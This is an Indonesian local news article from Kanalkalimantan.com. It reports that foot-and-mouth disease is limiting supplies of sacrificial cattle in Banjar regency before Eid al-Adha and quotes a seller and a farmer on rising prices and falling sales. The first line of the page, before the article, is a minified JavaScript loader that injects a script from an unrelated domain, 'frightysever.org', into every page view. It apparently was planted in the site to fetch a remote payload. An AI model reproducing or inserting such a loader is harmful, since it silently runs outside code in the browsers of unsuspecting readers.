(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Gara-gara Virus PMK, Penjual Sapi Kurban di Banjar Sulit Dapat Pasokan dan Sepi Pembeli


KANALKALIMANTAN.COM, MARTAPURA – Jelang hari raya Idul Adha pasokan beberapa jenis sapi terhambat dikarenakan Penyakit Mulut dan Kuku (PMK). Akibat kelangkaan tersebut membuat beberapa penjual mengeluhkan stok yang kurang dan sepi pembali.

Hijriyah, salah satu penjual sapi asal Kabupaten Banjar, mengeluhkan hal tersebut. Katanya, ada pelanggan yang takut membeli sapi kurban kepadanya karena takut akan virus PMK.

“Sebagian orang takut berkurban, rumah sakit Ratu Zalecha biasa tiap tahun beli di tempat saya, tapi tahun ini belum ada,” katanya saat ditemui Kanalkalimantan.com, Rabu (15/6/2022).

Selain membuat orang enggan berkurban, virus PMK ini membuat beberapa pasokan untuk pelanggannya tidak maksimal dan harga sapi lokal menjadi naik.

 

 

Baca juga: Sempat Tertunda, CJH Kloter 3 Akhirnya Diterbangkan Pagi Hari

“Sapi kampung aja tidak bisa menyediakan daging untuk pelanggan yang mau 50 kilo, hanya mampu beri 30 kilo aja,” jelasnya.

Wanita yang sudah menjalani pekerjaan menjual sapi selama belasan tahun ini juga mengaku, 10 ekor sapi pesanannya yang berasal dari Pulau Jawa masih belum bisa masuk Kalimantan Selatan.

Penjual sapi kurban di Kabupaten Banar mengaku susah dapat pasokan sapi untuk Idul Adha. Foto: yogi

Hal senada juga disampaikan olah Muhammad Rifkon, peternak sapi asal Sungai Paring. Ia mengatakan sapi lokal yang biasa dijual Rp 14 juta naik mencapai Rp 17 juta.

“Mencari sapinya susah, harganya jadinya jauh naik,” ujarnya.

Rifkon mengakui omzetnya turun karena pasokan sapi tahun ini kurang dari pada tahun-tahun sebelumnya mempengaruhi penjualan, akibat dari itu ia tidak dapat mencukupi keperluan pembeli.

Pria yang memulai peternakan sejak 2010 dan memiliki 6 sapi saat ini, menerangkan bahwa sapi-sapinya sudah terbebas dari PMK, serta dari Dinas Peternakan sudah sempat memberikan penyuluhan dan pencegahan PMK.

Baca juga: Layanan KB Serentak Sejuta Akseptor, DPPKB HSU Penuhi Target 1.747 Akseptor

“Ada penyuluhan, waktu baru awal-awal penyakit kemarin,” ujarnya.

Tak lupa, ia berharap keadaan kembali normal serta sapi yang dari luar daerah dapat masuk kembali.

“Kalau sapinya sakit lebih baik sapi itu saja yang ditahan,” tutupnya. (Kanalkalimantan.com/yogi)

Reporter: yogi
Editor: cell


Risa

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

44 menit ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

54 menit ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

1 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

2 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

2 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

4 jam ago

This website uses cookies.